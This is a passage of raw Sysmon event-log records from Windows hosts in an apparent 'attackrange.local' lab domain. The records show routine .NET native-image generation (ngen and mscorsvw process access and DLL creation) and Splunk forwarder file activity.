14:45:04.108{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F70-613B-EC09-00000000F001}7024C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.098{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F70-613B-EC09-00000000F001}7024C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.098{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F70-613B-EC09-00000000F001}7024C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.038{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F70-613B-EB09-00000000F001}6816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.028{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F70-613B-EB09-00000000F001}6816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:04.028{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F70-613B-EB09-00000000F001}6816C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:05.990{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C6E56C26397B523D9918969FF36EFD68,SHA256=A649FF3737DA37014B05BBC2AD654356B0C551E16C6E355DB15BF6D79F06B530,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013985Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:05.683{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E4434A219D7909DE45AEFB2ACE18E8D6,SHA256=701E64A87F46341DD92C9ADF297DA0B4619A386DEF5DFB883D727DEB5C7C1A2F,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000044907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:05.929{7BD73061-6F70-613B-EE09-00000000F001}860C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\35c-0\Microsoft.Office.Tools.Excel.Implementation.dll2021-09-10 14:45:05.929 23542300x800000000000000044906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:05.337{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\ADMINI~1\AppData\Local\Temp\aria-debug-6672.logMD5=053D03098E7120C5B7D9A2F727B6BF2C,SHA256=9C584BC028D6E7CCA7FA9FCF96E4A10F39AC4EB1ED8EE4F62536AFD80445B17C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:05.332{7BD73061-6F40-613B-F108-00000000F001}7116ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\ADMINI~1\AppData\Local\Temp\aria-debug-6612.logMD5=F601C9A9A126E200765A1633FFC64022,SHA256=46513CE2AEF8E32CED7F1A9FCD1C704CDC3088A04B0F20E5AB125CF03B1BCA67,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:05.050{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E9F10B1433AE3E65404E8DF281FEA946,SHA256=1F9852D4AE0DE872C23AB77FE6EC31783A4B58F5B0A6C0FB1E6F7D9ACFBE93AB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013986Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:06.697{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D840E068B206D1BF915176A433A6D27F,SHA256=1F3CAC625A48E10F90B0162585CD449CCCDDC625C7462B696450894ABFDDD96B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.902{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F72-613B-F609-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.882{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F72-613B-F609-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.882{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F72-613B-F609-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.847{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F72-613B-F509-00000000F001}6428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.832{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F72-613B-F509-00000000F001}6428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.832{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F72-613B-F509-00000000F001}6428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:06.802{7BD73061-6F72-613B-F409-00000000F001}2520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\9d8-0\Microsoft.Office.Tools.v4.0.Framework.dll2021-09-10 14:45:06.802 10341000x800000000000000044928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.763{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F72-613B-F409-00000000F001}2520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.752{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F72-613B-F409-00000000F001}2520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.752{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F72-613B-F409-00000000F001}2520C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.712{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F72-613B-F309-00000000F001}5968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.702{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F72-613B-F309-00000000F001}5968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.702{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F72-613B-F309-00000000F001}5968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:06.663{7BD73061-6F72-613B-F209-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\610-0\Microsoft.Office.Tools.Outlook.Implementation.dll2021-09-10 14:45:06.663 10341000x800000000000000044921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.443{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F72-613B-F209-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.422{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F72-613B-F209-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.422{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F72-613B-F209-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:06.312{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F72-613B-F109-00000000F001}6736C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 